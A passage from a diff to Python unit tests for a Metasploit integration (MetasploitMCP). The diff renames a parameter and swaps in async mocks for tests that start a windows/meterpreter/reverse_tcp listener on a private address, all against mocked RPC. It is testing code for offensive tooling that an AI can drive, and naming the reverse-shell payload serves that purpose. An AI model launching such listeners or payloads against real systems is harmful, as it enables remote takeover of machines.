patch('MetasploitMCP.check_port_available', return_value=(True, "")): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, ""))): result = await start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, additional_options={"ExitOnSession": True} @@ -835,9 +856,9 @@ async def test_start_listener_string_options(self, mock_job_environment): client, mock_rpc = mock_job_environment # Mock port availability check to always return available - with patch('MetasploitMCP.check_port_available', return_value=(True, "")): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(True, ""))): result = await start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, additional_options="ExitOnSession=true,Verbose=false" @@ -856,7 +877,7 @@ async def test_start_listener_invalid_port(self, mock_job_environment): client, mock_rpc = mock_job_environment result = await start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=99999 # Invalid port ) @@ -870,9 +891,9 @@ async def test_start_listener_port_in_use(self, mock_job_environment): client, mock_rpc = mock_job_environment # Mock port availability check to return port in use - with patch('MetasploitMCP.check_port_available', return_value=(False, "Port 4444 is already in use on 0.0.0.0. Please choose a different port or stop the service using this port.")): + with patch('MetasploitMCP.check_port_available', new=AsyncMock(return_value=(False, "Port 4444 is already in use on 0.0.0.0. Please choose a different port or stop the service using this port."))): result = await start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444 )